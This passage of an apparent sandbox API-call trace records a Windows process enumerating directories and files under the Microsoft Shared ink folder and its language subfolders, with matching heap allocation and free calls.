ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0069.690] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.690] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0069.690] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0069.690] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0069.690] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0069.690] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0069.691] GetProcessHeap () returned 0x550000 [0069.691] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0069.691] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0069.691] GetProcessHeap () returned 0x550000 [0069.691] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0069.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0069.737] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.737] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0069.738] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0069.738] GetProcessHeap () returned 0x550000 [0069.738] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.739] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.739] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.740] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.740] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.740] GetProcessHeap () returned 0x550000 [0069.740] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.740] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0069.740] GetProcessHeap () returned 0x550000 [0069.740] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.741] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.741] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.742] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.742] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.742] GetProcessHeap () returned 0x550000 [0069.742] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.742] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0069.742] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0069.742] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0069.743] GetProcessHeap () returned 0x550000 [0069.743] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.743] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.744] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.744] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.744] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.744] GetProcessHeap () returned 0x550000 [0069.744] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.744] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0069.744] GetProcessHeap () returned 0x550000 [0069.745] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.745] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.746] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.746] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.746] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.746] GetProcessHeap () returned 0x550000 [0069.746] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.746] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0069.746] GetProcessHeap () returned 0x550000 [0069.747] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.749] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.749] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.749] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.750] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.750] GetProcessHeap () returned 0x550000 [0069.750] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.750] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0069.750] GetProcessHeap () returned 0x550000 [0069.750] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.751] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.751] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.751] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.752] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.752] GetProcessHeap () returned 0x550000 [0069.752] HeapFree (in: hHeap=0x550000, 